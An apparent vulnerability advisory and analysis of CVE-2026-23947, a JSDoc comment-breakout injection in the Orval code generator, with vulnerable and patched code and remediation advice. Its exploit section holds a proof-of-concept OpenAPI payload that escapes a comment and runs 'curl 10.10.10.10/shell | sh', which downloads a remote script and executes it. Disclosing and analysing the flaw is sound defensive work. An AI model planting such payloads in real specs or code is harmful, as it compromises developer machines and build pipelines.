CVE-2026-23947

Documentation or Detonation? Unchecked JSDoc Injection in Orval

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 21, 2026·6 min read·20 visits

Executive Summary (TL;DR)

Orval, a popular OpenAPI-to-TypeScript generator, failed to sanitize `x-enumDescriptions` fields in OpenAPI specs. An attacker can craft a malicious spec that, when processed, generates TypeScript code containing a 'comment breakout' sequence (`*/`). This allows the injection of executable JavaScript directly into the generated client, leading to RCE immediately upon file compilation or execution. Fixed in version 8.0.2.

A critical Remote Code Execution (RCE) vulnerability in Orval allows attackers to inject arbitrary JavaScript via malicious OpenAPI specifications. By exploiting unchecked metadata in enum descriptions, an attacker can break out of JSDoc comments and execute code on developer machines or CI/CD pipelines.

The Hook: Trusting the Blueprint

In the modern web development stack, we treat code generators like trusted scribes. You hand them a specification—in this case, an OpenAPI/Swagger file—and they dutifully transcribe it into type-safe TypeScript clients. It's a beautiful relationship based on implicit trust. We assume that the generator will treat the input as data, not instructions. Orval, a widely used tool for generating calls from OpenAPI specs, violated that trust in a spectacular fashion.

The vulnerability lies in how Orval handles 'vendor extensions'—those little metadata fields starting with x- that let developers add custom flavor to their API specs. Specifically, fields like x-enumDescriptions are intended to add helpful JSDoc comments to generated Enums, making the developer's life easier with inline documentation. It sounds harmless: you provide a string description, and Orval wraps it in /** ... */.

But here is the catch: what if the description itself contains the characters */? If the generator blindly interpolates that string into a comment block without sanitization, it closes the comment prematurely. Everything after that sequence becomes valid, executable code. This isn't just a bug; it's a supply chain landmine waiting for a developer to pull orval in their CI pipeline.

The Flaw: A Classic Breakout

The root cause of CVE-2026-23947 is a textbook example of context confusion. Orval's developers wrote logic to extract metadata from the OpenAPI schema and place it into the generated TypeScript files. The code responsible for this, specifically within the enum generation logic, treated user-supplied strings as purely cosmetic text. It failed to realize that in the context of a source code file, text inside a comment block is only safe as long as it stays inside the comment block.

When Orval encounters a schema definition for an Enum, it looks for x-enumDescriptions to annotate the values. It iterates over these descriptions and constructs a string template. The fatal flaw was the absence of an escape mechanism for the comment terminator */. This is conceptually identical to SQL injection (breaking out of a string literal) or XSS (breaking out of an HTML tag), but applied to the meta-level of code generation.

This vulnerability is particularly nasty because of where it executes. It doesn't require a runtime server flaw. The execution happens when the developer (or the build server) generates the code and subsequently imports or compiles it. It targets the build process itself, turning the act of documentation into an act of compromise.

The Code: Before and After

Let's look at the smoking gun in packages/core/src/getters/enum.ts. In versions prior to 8.0.2, the code retrieved the descriptions and passed them raw to the template engine. It was trusting the input implicitly.

// VULNERABLE CODE (Pre-8.0.2)
export function getEnumDescriptions(schemaObject: OpenApiSchemaObject | undefined) {
  return (
    schemaObject?.['x-enumDescriptions'] ||
    schemaObject?.['x-enumdescriptions'] ||
    schemaObject?.['x-enum-descriptions']
  );
}

There is zero processing here. If the schema object contains a string, that string goes into the file. Now, let's look at the fix introduced in commit 9e5d93533904. The maintainers realized that raw strings are dangerous and wrapped the output in a jsStringEscape utility.

// PATCHED CODE (v8.0.2)
import { conventionName, isNumeric, jsStringEscape, sanitize } from '../utils';
 
export function getEnumDescriptions(schemaObject: OpenApiSchemaObject | undefined) {
  const descriptions = 
    schemaObject?.['x-enumDescriptions'] ||
    schemaObject?.['x-enumdescriptions'] ||
    schemaObject?.['x-enum-descriptions'];
    
  if (!descriptions) return;
  
  // The fix: explicitly escaping special characters in every description string
  return (descriptions as string[]).map((description: string) =>
    jsStringEscape(description),
  );
}

The jsStringEscape function ensures that dangerous sequences are neutralized, keeping the description firmly inside the comment block where it belongs.

The Exploit: Documenting Destruction

Exploiting this requires creating a malicious OpenAPI specification. Imagine an attacker submits a Pull Request to your repo updating the API spec, or you consume a spec from a third-party vendor. The attacker defines a schema for an Enum and injects the payload into x-enumDescriptions.

Here is the malicious payload structure:

components:
  schemas:
    TrojanEnum:
      type: string
      enum:
        - ATTACK
      x-enumDescriptions:
        # The payload closes the JSDoc comment and starts a new context
        - "A normal description */ require('child_process').execSync('curl 10.10.10.10/shell | sh'); /*"

When Orval runs against this file, it generates the following TypeScript code:

/**
 * A normal description */ require('child_process').execSync('curl 10.10.10.10/shell | sh'); /*
 */
export enum TrojanEnum {
  ATTACK = 'ATTACK',
}

See what happened? The compiler sees a comment /** A normal description */. Then it sees valid JavaScript code: require('child_process').... Then it sees another comment block /* */. The malicious code is now part of your codebase. As soon as this file is imported by your application or checked by a linter that evaluates code, the shell command executes.

The Impact: Silent Supply Chain Compromise

The impact of this vulnerability is critical because it bridges the gap between data and code. Security teams often scan runtime dependencies, but they rarely treat API specifications as hostile code vectors. If an attacker can inject this into a shared API spec, they can compromise every developer working on the project and every build server deploying it.

Since this code runs in the context of the build or the application startup (depending on how the enum is used), it typically inherits the permissions of the developer or the CI runner. This means access to environment variables, AWS credentials, SSH keys, and source code. It is a full compromise of the development environment.

Furthermore, because the injection happens inside a generated file (which is often .gitignore'd or automatically committed by bots), it might evade manual code review. A reviewer looking at the OpenAPI YAML might just see a weird description string and gloss over it, not realizing it compiles into a bomb.

The Fix: Sanitize Your Inputs

The remediation is straightforward but urgent. You must upgrade orval to version 8.0.2 or higher immediately. This version includes the patch that escapes strings before writing them to the file system.

If you cannot upgrade immediately, you must treat all OpenAPI specifications as untrusted. Do not generate code from specs provided by external parties without manual audit. Specifically, grep your specs for the sequence */ within any description or extension fields. If you find it, you are looking at a potential exploit attempt.

Long term, this serves as a reminder for tool developers: if you are generating code based on input, you are writing a compiler. And compilers must be paranoid about their input. You cannot simply concatenate strings and hope for the best.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.08%
Top 77% most exploited

Affected Systems

Orval CLIOrval Webpack PluginOrval Vite Plugin@orval/core library

Affected Versions Detail

Product
Affected Versions
Fixed Version
Orval
Orval Labs
>= 7.10.0 < 8.0.28.0.2
AttributeDetail
CWE IDCWE-77 / CWE-94
Attack VectorNetwork (via malicious spec file)
CVSS 4.09.3 (Critical)
EPSS Score0.07%
ImpactRemote Code Execution (RCE)
Exploit StatusPoC Available
CWE-77
Command Injection

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Vulnerability Timeline

Vulnerability identified and reported
2026-01-16
Fix committed to main repository
2026-01-19
Orval v8.0.2 released
2026-01-19
Public disclosure via GHSA and CVE
2026-01-20

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.